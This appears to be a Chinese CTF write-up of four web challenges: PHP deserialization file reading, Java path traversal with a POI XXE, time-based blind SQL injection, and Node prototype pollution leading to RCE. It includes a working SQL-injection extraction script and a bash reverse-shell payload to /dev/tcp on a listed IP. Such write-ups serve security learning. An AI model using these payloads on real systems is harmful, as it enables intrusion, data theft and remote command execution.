AreUSerialz

一个简单的反序列化读文件,坑点在于web目录不是默认的,apache配置文件路径也不是默认的
之前出题的时候遇到了这个问题,php在析构方法中工作路径变成了php主程序的路径,所以必须是绝对路径才能读到文件
这里记录下这题的几个方法

  1. 修改属性个数,就像绕wakeup那样,这样php不会改变路径,直接用相对路径就读出来了
  2. y1ng师傅的姿势 读取 /proc/self/cmdline 得到配置文件路径/web/config/httpd.conf 再读配置文件得到web目录/web/html

filejava

文件上传,然后下载,很明显的一个任意文件下载 ../../../web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
<servlet>
<description></description>
<display-name>UploadServlet</display-name>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>ListFileServlet</display-name>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>DownloadServlet</display-name>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>

因为对javaweb的路径不熟 哲哥给的路径
filename=../../../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
都下载反编译 哲哥找到这个洞 https://www.cnblogs.com/thespace/p/12400719.html

1
2
3
4
5
6
7
8
9
10
11
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {

try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}

触发点在try下面两句可是我刚好看不懂这两句

文件名注意一下得是 excel-开头,xlsx结尾 然后改个poc,监听端口上传触发

trace

这道注入很可惜,当时想到了表名是flag,就简单测一下,没有深入测,做这道题时间太短了,注册用户不能超过20个
测试发现 sleep(5 服务器就会504,结合exp报错,完成判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
url = "http://101.201.126.95:7006/"
flag=""
k = 0
list="-0123456789abcdefghijklmnopqrstuvwxyz{}"
list=list[::-1]
for i in range(1,32):
print(i)
for j in list:
exp=flag+j
data={"username":"',(exp(if(((select '{}','')>(select * from flag limit 1 )),1000,sleep(5)))));#".format(exp),
"password":""
}
p=requests.post(url,data=data,timeout=100)
if "Mysql Error" not in p.text:
flag=flag+j
print(flag)
break

node

114师傅找到这个 https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940
undefsafe库造成的原型链污染

1
2
3
4
5

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

undefsafe在遇到未定义的属性时会直接赋值,在/edit_note里看到 id, author, raw都是可控的

1
2
undefsafe(this.note_list,__proto__.author, shell);
//__proto__.xxx.author 赋值的时候会把xxx丢掉 ,直接给author赋值

这样会污染字典的原型,给所有的字典都添加一个author属性,值也可以控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

在/status中,遍历了commands字典的值,我们上面污染了字典,所以commands有一条author属性,值也是可控的
这样在下面的for循环中就可以 rce了,直接bash弹个shell

1
2
3
4
5
/edit_note post

id=__proto__&author=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F174.1.57.90%2F2333%200%3E%261&raw=a

监听端口再访问/status触发